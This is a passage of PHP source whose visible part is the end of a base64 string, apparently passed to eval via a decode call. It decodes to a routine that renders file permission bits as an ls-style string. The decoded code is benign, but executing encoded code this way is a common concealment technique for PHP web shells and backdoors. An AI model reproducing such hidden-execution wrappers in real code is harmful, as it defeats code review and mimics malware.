MnOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7Ci8vIFN5bWJvbGljIExpbmsKJGluZm8gPSAnbCc7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsKLy8gUmVndWxhcgokaW5mbyA9ICctJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgewovLyBCbG9jayBzcGVjaWFsCiRpbmZvID0gJ2InOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7Ci8vIERpcmVjdG9yeQokaW5mbyA9ICdkJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgewovLyBDaGFyYWN0ZXIgc3BlY2lhbAokaW5mbyA9ICdjJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgewovLyBGSUZPIHBpcGUKJGluZm8gPSAncCc7Cn0gZWxzZSB7Ci8vIFVua25vd24KJGluZm8gPSAndSc7Cn0KCi8vIE93bmVyCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/CigoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDoKKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7CgovLyBHcm91cAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPwooKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6CigoJHBlcm1zICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOwoKLy8gV29ybGQKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8KKCgkcGVybXMgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOgooKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKCnJldHVybiAkaW5mbzsKfQo/Pgo="));?>